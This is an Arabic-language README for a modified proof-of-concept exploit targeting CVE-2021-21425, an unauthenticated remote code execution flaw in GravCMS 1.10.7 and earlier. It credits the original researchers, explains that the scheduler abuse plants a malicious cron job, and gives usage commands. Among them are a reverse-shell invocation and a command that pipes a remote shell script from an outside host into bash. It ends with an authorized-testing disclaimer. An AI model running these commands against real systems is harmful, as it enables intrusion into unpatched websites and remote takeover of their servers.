
CVE-2021-21425 - GravCMS 1.10.7 ثغرة RCE غير مصادق عليها عبر المجدول. استغلال محسّن مع وسائط CLI وترميز base64 تلقائي.
إثبات مفهوم محسّن لـ CVE-2021-21425، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة في GravCMS <= 1.10.7 عبر كتابة YAML عشوائية إلى المجدول (scheduler).
هذا عمل مشتق. الثغرة والاستغلال الأصلي ليسا ملكي.
| الدور | من |
|---|---|
| الثغرة اكتشفها | Mehmet Ince (@mdisec)، PRODAFT / INVICTUS Europe — مارس 2021 |
| إثبات المفهوم الأصلي بواسطة | "legend" — Exploit-DB EDB-49973 |
| التعديلات في هذا المستودع بواسطة | d4ytox |
يتطلب EDB-49973 الأصلي تحرير القيم المضمّنة يدويًا في السكربت. تضيف هذه النسخة:
-c)هذه تغييرات في قابلية الاستخدام لاستغلال موجود. لا يُدّعى أي بحث في الثغرات.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| المتأثر | GravCMS <= 1.10.7 |
| النوع | RCE بدون مصادقة |
| CVSS | 9.8 (حرجة) |
تفشل إضافة Grav Admin في التحقق من المصادقة على مسارات إدارية معينة، مما يسمح للمستخدمين غير المصادق عليهم بكتابة إعدادات YAML عشوائية. يستغل هذا الاستغلال إعدادات المجدول لإنشاء مهمة cron تنفّذ تعليمات PHP برمجية عشوائية.
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Custom command
python3 exploit.py -t http://target -c "id"
# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin لاستخراج رمز admin-nonce (لا يتطلب مصادقة بسبب الثغرة)/admin/config/scheduler مع إعدادات مهمة cron الخبيثة/usr/bin/php -r eval(base64_decode(...))/tmp/rev.sh وينفّذهتعمل مهمة cron كل دقيقة (* * * * *)، لذا يصل الـ shell خلال 60 ثانية.
MIT، ينطبق فقط على التعديلات في هذا المستودع. لا يحمل إثبات المفهوم الأصلي أي ترخيص، لذا تبقى جميع الحقوق محفوظة لمؤلفه. راجع LICENSE للحصول على إشعار الإسناد الكامل.
لاختبار الأمان المصرّح به فقط. تأكد من حصولك على إذن كتابي قبل الاختبار ضد أي نظام.